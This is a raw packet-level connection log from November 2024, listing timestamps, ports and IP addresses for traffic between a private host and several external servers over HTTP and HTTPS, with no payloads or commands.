Nov 23, 2024 21:59:18.568120956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.568391085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.568447113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.568990946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.569056034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.569335938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.569513083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.569880962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.570008039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.570291042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.570347071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.570770025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.570911884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.571254969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.571305990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.571423054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.571471930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.623887062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.623960972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.623974085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.624160051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.624303102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.624450922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.624510050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.625241041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.625453949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.625519037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.626187086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.626354933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.626394987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.626410007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.627126932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.627562046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.627630949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.628062010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.628118992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.628432035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.628509998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.629029989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.629127026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.629220009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.629379988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.629971027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.630033970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.630101919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.630156040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.630906105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.630963087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.631078959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.631138086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.631885052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.632030964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.632088900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.632808924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.632860899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.632942915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.632993937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.633738041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.633791924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.633857965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.633938074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.634685040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.634742022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.635056973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.635108948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.635646105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.635699987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.636562109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.636610985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.636691093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.636735916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.637022018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.637563944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.637603998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.637622118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.637687922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.637742996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.638480902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.638622046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.638679981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.639417887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.639475107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.639556885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.639616966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.640366077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.640429020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.640449047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.640592098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.641304970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.641364098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.641423941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.641477108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.674299955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.674737930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.674758911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.674774885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.674817085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.674882889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.675007105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.675080061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.675131083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.675873995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.675930977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.675962925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.676008940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.676788092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.676841974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.676889896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.676937103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.677723885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.677778006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.677942038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.678004026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.678653955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.678711891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.679024935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.679089069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.679616928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.679833889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.679888010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.680670023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.680725098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.681247950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.681301117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.681555033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.681642056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.681730032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.681802988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.682477951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.683056116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.683115005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.683446884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.683501959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.683541059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.683589935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.684421062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.684477091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.684577942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.684628963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.684982061 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:18.685059071 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:18.685312033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.685359955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.685388088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.685574055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.686295033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.686831951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.686877012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.687201977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.687320948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.687428951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.687490940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.688159943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.688224077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.688416004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.688462973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.689090967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.689152002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.735110998 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:18.735131979 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:18.735491037 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:18.735547066 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:18.735565901 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:18.747602940 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.747760057 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.748284101 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.748317957 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.748317957 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.748334885 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.748344898 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.751066923 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.751079082 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.751343966 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.751462936 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.751475096 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.758140087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.758246899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.758306026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.758341074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.758380890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.758404016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.758433104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.758920908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.759051085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.759107113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.759857893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.759916067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.759926081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.760144949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.760833025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.760890961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.760930061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.761023998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.783349991 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:18.785046101 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.785224915 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.785284996 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.785324097 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.785324097 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.785346031 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.785356045 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.787781000 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.787818909 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.787894964 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.788203001 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.788218975 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.788976908 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.789036036 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.789118052 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.789237976 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.789251089 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.789325953 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.789333105 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.791610003 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.791641951 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.791701078 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.791831017 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.791846037 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.819566965 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.819736004 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.819880009 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.819921017 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.819928885 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.819955111 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.819964886 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.821971893 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.822009087 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.822068930 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.822258949 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.822269917 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.940721035 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:18.940875053 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:18.944875956 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:18.944884062 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:18.945064068 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:18.945070982 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:18.945278883 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:18.945417881 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:18.971771002 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.971859932 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.974240065 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.974369049 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.974399090 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.974431992 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.974442005 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.977205038 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.977238894 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.977839947 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.977971077 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.977987051 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:19.001475096 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.001569033 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.004313946 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.004319906 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.004527092 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.004534006 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.004642010 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.006237984 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.009402037 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.009501934 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.011926889 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.011933088 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.012025118 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.012031078 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.012170076 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.013911009 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.104486942 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.105032921 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.107984066 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.107994080 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.108263969 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.108427048 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.110119104 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.151371002 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.398664951 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:19.398766994 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:19.398783922 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:19.398855925 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:19.398861885 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:19.398929119 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:19.398994923 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:19.443814993 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.443839073 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.443859100 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.443948984 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.443948984 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.443980932 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.444211960 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.527529001 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.527597904 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.527609110 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.527626038 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.527643919 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.527664900 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.527729988 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.527734995 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.527786016 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.599786997 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.599817038 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.599831104 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.599883080 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.599898100 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.599941969 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.599972010 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.619828939 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.619853020 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.619926929 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.619944096 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.619955063 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.620022058 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.627717018 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.627746105 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.627825975 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.627847910 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.627918959 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.627918959 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.653423071 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.653435946 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.653549910 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.653558969 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.653630972 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.674052000 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.674158096 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.674765110 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.674783945 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.674906015 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.674916983 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.674972057 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.727639914 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.727696896 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.727746964 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.727761030 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.727823019 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.760690928 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.760710955 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.760813951 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.760823011 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.760886908 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.776556969 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.776582956 CET	443	49730	150.171.27.10	192.168.2.6
